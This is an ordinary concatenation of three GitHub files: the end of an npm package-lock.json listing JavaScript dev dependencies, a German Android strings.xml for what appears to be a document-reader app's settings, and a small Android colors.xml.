"sha512-Bht8QXoo2dJc8lUGyEMfnfKCV7hkf1oLzN6L8YdDE2toaaoCe5DxoqYjTyKswWQyiZseViZw9quEdDRz0YXifw==", "dev": true, "requires": { "@types/estree": "0.0.39", "@types/node": "^12.0.10", "acorn": "^6.1.1" } }, "rollup-plugin-typescript": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/rollup-plugin-typescript/-/rollup-plugin-typescript-1.0.1.tgz", "integrity": "sha512-rwJDNn9jv/NsKZuyBb/h0jsclP4CJ58qbvZt2Q9zDIGILF2LtdtvCqMOL+Gq9IVq5MTrTlHZNrn8h7VjQgd8tw==", "dev": true, "requires": { "resolve": "^1.10.0", "rollup-pluginutils": "^2.5.0" } }, "rollup-pluginutils": { "version": "2.8.1", "resolved": "https://registry.npmjs.org/rollup-pluginutils/-/rollup-pluginutils-2.8.1.tgz", "integrity": "sha512-J5oAoysWar6GuZo0s+3bZ6sVZAC0pfqKz68De7ZgDi5z63jOVZn1uJL/+z1jeKHNbGII8kAyHF5q8LnxSX5lQg==", "dev": true, "requires": { "estree-walker": "^0.6.1" } }, "run-async": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.3.0.tgz", "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", "dev": true, "requires": { "is-promise": "^2.1.0" } }, "rxjs": { "version": "6.5.2", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.2.tgz", "integrity": "sha512-HUb7j3kvb7p7eCUHE3FqjoDsC1xfZQ4AHFWfTKSpZ+sAhhz5X1WX0ZuUqWbzB2QhSLp3DoLUG+hMdEDKqWo2Zg==", "dev": true, "requires": { "tslib": "^1.9.0" } }, "safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", "dev": true }, "semver": { "version": "5.7.0", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz", "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA==", "dev": true }, "shebang-command": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", "dev": true, "requires": { "shebang-regex": "^1.0.0" } }, "shebang-regex": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", "dev": true }, "signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=", "dev": true }, "slice-ansi": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz", "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==", "dev": true, "requires": { "ansi-styles": "^3.2.0", "astral-regex": "^1.0.0", "is-fullwidth-code-point": "^2.0.0" } }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", "dev": true }, "string-width": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", "dev": true, "requires": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" } }, "strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { "ansi-regex": "^3.0.0" } }, "strip-json-comments": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", "dev": true }, "supports-color": { "version": "5.5.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { "has-flag": "^3.0.0" } }, "table": { "version": "5.4.1", "resolved": "https://registry.npmjs.org/table/-/table-5.4.1.tgz", "integrity": "sha512-E6CK1/pZe2N75rGZQotFOdmzWQ1AILtgYbMAbAjvms0S1l5IDB47zG3nCnFGB/w+7nB3vKofbLXCH7HPBo864w==", "dev": true, "requires": { "ajv": "^6.9.1", "lodash": "^4.17.11", "slice-ansi": "^2.1.0", "string-width": "^3.0.0" }, "dependencies": { "ansi-regex": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", "dev": true }, "string-width": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^5.1.0" } }, "strip-ansi": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", "dev": true, "requires": { "ansi-regex": "^4.1.0" } } } }, "text-table": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", "dev": true }, "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", "dev": true }, "tmp": { "version": "0.0.33", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", "dev": true, "requires": { "os-tmpdir": "~1.0.2" } }, "tslib": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.10.0.tgz", "integrity": "sha512-qOebF53frne81cf0S9B41ByenJ3/IuH8yJKngAX35CmiZySA0khhkovshKK+jGCaMnVomla7gVlIcc3EvKPbTQ==", "dev": true }, "type-check": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", "dev": true, "requires": { "prelude-ls": "~1.1.2" } }, "typescript": { "version": "3.5.2", "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.5.2.tgz", "integrity": "sha512-7KxJovlYhTX5RaRbUdkAXN1KUZ8PwWlTzQdHV6xNqvuFOs7+WBo10TQUqT19Q/Jz2hk5v9TQDIhyLhhJY4p5AA==", "dev": true }, "uri-js": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", "dev": true, "requires": { "punycode": "^2.1.0" } }, "which": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", "dev": true, "requires": { "isexe": "^2.0.0" } }, "wordwrap": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=", "dev": true }, "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", "dev": true }, "write": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz", "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==", "dev": true, "requires": { "mkdirp": "^0.5.1" } } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2"> <string name="pref_ui_category">"Benutzeroberfläche"</string> <string name="pref_ui_category_summary">"Einstellungen der Benutzeroberfläche"</string> <string name="pref_lang_title">"Sprache"</string> <string name="pref_lang_summary">"Sprache der Benutzeroberfläche (Neustart erfoderlich)"</string>--> <!--<string name="list_lang_default">"System"</string>--> <string name="list_lang_en">"Englisch (English)"</string> <string name="list_lang_de">"Deutsch"</string> <string name="list_lang_es">"Spanisch (Español)"</string> <string name="list_lang_fr">"Französisch (Française)"</string> <string name="list_lang_it">"Italienisch (Italiano)"</string> <string name="list_lang_nl">"Niederländisch (Nederlands)"</string> <string name="list_lang_ru">"Russisch (Русский)"</string> <string name="list_lang_uk">"Ukrainisch (Український)"</string> <string name="list_lang_zh">"Chinesisch (中文简体)"</string> <string name="list_lang_iw">"Hebräisch (עברית)"</string> <string name="list_lang_default">System-Sprache</string> <string name="list_lang_ko">Koreanisch (한국어)</string> <string name="list_lang_eo">Esperanto</string> <string name="list_lang_pl">Polnisch (Polski)</string> <string name="pref_loadrecent_title">"Letztes öffnen"</string> <string name="pref_loadrecent_summary">"Beim Start das zuletzt gelesene Buch öffnen"</string> <string name="pref_confirmclose_title">"Schließen bestätigen"</string> <string name="pref_confirmclose_summary">Schließen bestätigen nach Drücken von \'Zurück\'</string> <string name="pref_brightness_title">"Helligkeit"</string> <string name="pref_brightness_summary">"Einstellungen der Gesamtbildhelligkeit (0–100)"</string> <string name="pref_brightnessnightmodeonly_title">"Helligkeit im Nachtmodus"</string> <string name="pref_brightnessnightmodeonly_summary">"Anwendung der Helligkeitseinstellungen nur im Nachtmodus"</string> <string name="pref_keepscreenon_title">"Bildschirm nicht ausschalten"</string> <string name="pref_keepscreenon_summary">"Nicht in den Schlafmodus umschalten"</string> <string name="pref_fullscreen_title">"Vollbildschirm"</string> <string name="pref_fullscreen_summary">Statuszeile ausblenden</string> <string name="pref_title_title">"Titel"</string> <string name="pref_title_summary">"Titel anzeigen. Neuöffnung des Dokuments erforderlich"</string> <string name="pref_pageintitle_title">"Seite im Titel"</string> <string name="pref_pageintitle_summary">"Laufende Seitennummer im Titel anzeigen"</string> <string name="pref_pagenumbertoastposition_title">"Position des Seitenzahlanzeigers"</string> <string name="pref_pagenumbertoastposition_summary">"Position des Seitenzahlanzeigers"</string> <string name="pref_zoomtoastposition_title">"Position des Zoom-Anzeigers"</string> <string name="pref_zoomtoastposition_summary">"Position des Zoom-Anzeigers"</string> <string name="list_toastposition_invisible">"Nicht anzeigen"</string> <string name="list_toastposition_lefttop">"Links unten"</string> <string name="list_toastposition_righttop">"Rechts oben"</string> <string name="list_toastposition_leftbottom">"Links unten"</string> <string name="list_toastposition_bottom">"Unten"</string> <string name="list_toastposition_righbottom">"Rechts unten"</string> <string name="pref_showanimicon_title">"Animationstyp anzeigen"</string> <string name="pref_showanimicon_summary">"Animationstyp anzeigen, wenn Funktionen 'Blättern' oder 'Ziehen' zugänglich sind"</string> </resources>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <resources> <color name="colorPrimary">#3F51B5</color> <color name="colorPrimaryDark">#303F9F</color> <color name="colorAccent">#FF4081</color> </resources>
{ "pile_set_name": "Github" }